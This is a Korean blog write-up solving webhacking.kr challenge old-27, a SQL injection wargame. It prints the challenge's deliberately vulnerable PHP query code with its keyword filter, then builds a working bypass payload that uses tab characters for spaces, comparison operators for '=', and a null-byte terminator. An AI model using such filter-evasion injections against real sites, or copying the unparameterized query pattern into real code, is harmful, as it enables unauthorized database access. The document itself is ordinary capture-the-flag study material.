Study/Web Hacking
[Webhacking.kr] old-27
얀 짱
2026. 7. 22. 15:32
소스 코드는 다음과 같음.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
preg_match 를 보면 #, select, (, 공백, limit, =, 0x 대소문자 구분 안함.
SELECT id
FROM chall27
WHERE id='guest' and no=1 or id='admin'
근데 =가 막혀있으니까 나는 0 or no>1 and no<3 이런 식으로 접근함. admin의 no가 2니까.
{$_GET['no']}에 0) or no>1 and no<3 를 넣으면 됨.
0은 일단 1이 아니면 되니까 0을 넣었음. 그리고 입력해 봤더니 아무것도 안 뜸.
공백도 막혀 있으니까 %09 로 치환함. 0)%09or%09no>1%09and%09no<3
뒤에 )")) or die("query error") 이거를 추적하지 못하게 할려고 ;%00도 붙여줘야함.
0)%09or%09no>1%09and%09no<3;%00